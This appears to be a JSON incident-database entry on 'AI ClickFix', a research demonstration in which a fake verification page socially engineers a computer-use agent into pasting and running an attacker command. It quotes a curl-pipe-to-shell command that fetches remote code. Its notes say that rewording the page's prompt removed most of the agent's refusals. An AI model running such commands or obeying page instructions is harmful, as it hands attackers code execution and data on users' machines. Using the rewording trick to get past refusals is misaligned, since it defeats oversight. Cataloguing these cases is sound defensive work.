{
 "public_id": "AIR-2025-0036",
 "incident_id": "2025-05-ai-clickfix-computer-use",
 "date_disclosed": "2025-05-24",
 "date_occurred": null,
 "title": "AI ClickFix: social-engineering a computer-use agent into pasting and running an attacker command",
 "class": "research_demo",
 "attack_surface": "computer_use_agent",
 "initial_vector": "malicious_web_page_social_engineering",
 "agent_capability_abused": [
  "mouse_keyboard_control",
  "clipboard",
  "terminal_use",
  "gui_interaction",
  "clipboard_access",
  "terminal_command_execution"
 ],
 "target_product": "Claude Computer-Use Agent",
 "target_vendor": "Anthropic",
 "autonomy_level": "semi_autonomous",
 "impact_realized": false,
 "impact_type": [
  "code_execution",
  "remote_code_execution",
  "data_exfiltration"
 ],
 "blast_radius": "computer-use agents browsing attacker-controlled sites",
 "cve": [],
 "taxonomy": {
  "owasp_asi": [
   "ASI01",
   "ASI04",
   "ASI05"
  ],
  "mitre_atlas": [
   "AML.CS0055"
  ],
  "labels": [
   "clickfix",
   "ttp_transfer_from_human_to_agent",
   "clipboard_hijack",
   "social_engineering",
   "ttp_transfer",
   "computer_use"
  ]
 },
 "defense_present": "Claude refusal behaviour on CAPTCHA-like flows",
 "defense_bypassed": true,
 "fix_shipped": null,
 "primary_sources": [
  "https://embracethered.com/blog/posts/2025/ai-clickfix-ttp-claude/",
  "https://raw.githubusercontent.com/mitre-atlas/atlas-data/main/dist/v6/ATLAS-2026.07.yaml"
 ],
 "verified_quote": "Once the “Show Instructions” button is clicked, the command curl -s https://wuzzi.net/computer/oops.html | sh is copied to the clipboard.",
 "confidence": "high",
 "notes": "Johann Rehberger. Notably, changing 'Are you a Human?' to 'Are you a Computer?' removed most refusals - the guardrail was keyed on human-handoff cues. Also reported as: 'AI ClickFix: hijacking computer-use agents with fake verification UI'.",
 "risk_category": "security_fraud",
 "risk_secondary": [
  "privacy"
 ],
 "risk_subcategory": "Remote Code Execution & Sandbox Escape",
 "risk_sub_secondary": [],
 "ai_entity": "generative",
 "agency": "agent_acted",
 "agency_debatable": false,
 "agency_reason": "the computer-use agent pasted and ran the attacker command",
 "vector_family": "malicious_component",
 "vector_detail": "malicious_web_page_social_engineering",
 "guardrail_kind": [
  "unknown"
 ],
 "guardrail_outcome": "silent",
 "xrefs": {
  "aiid": [],
  "atlas": [
   "AML.CS0055"
  ],
  "cve": [],
  "ghsa": []
 },
 "primary_asi": "ASI01",
 "agent_framework": "unknown",
 "model_provider": "anthropic",
 "model_name": "",
 "detection_mechanism": "external_researcher",
 "tool_access": "unknown",
 "financial_loss_band": "unknown",
 "eai_category": "privilege_escalation",
 "eai_domain": "access_control_and_permissions",
 "eai_secondary": [
  "data_exfiltration_channels"
 ],
 "eai_reason": "subcategory: Remote Code Execution & Sandbox Escape",
 "asi_curated": [
  "ASI01"
 ],
 "asi_scope": "in_scope",
 "asi_provenance": "curated_plus_rule",
 "asi_reason": "curated: ASI01 | added ASI04 (vector_family=malicious_component), ASI05 (impact=code_exec)",
 "submitted_by": "EAI Internal"
}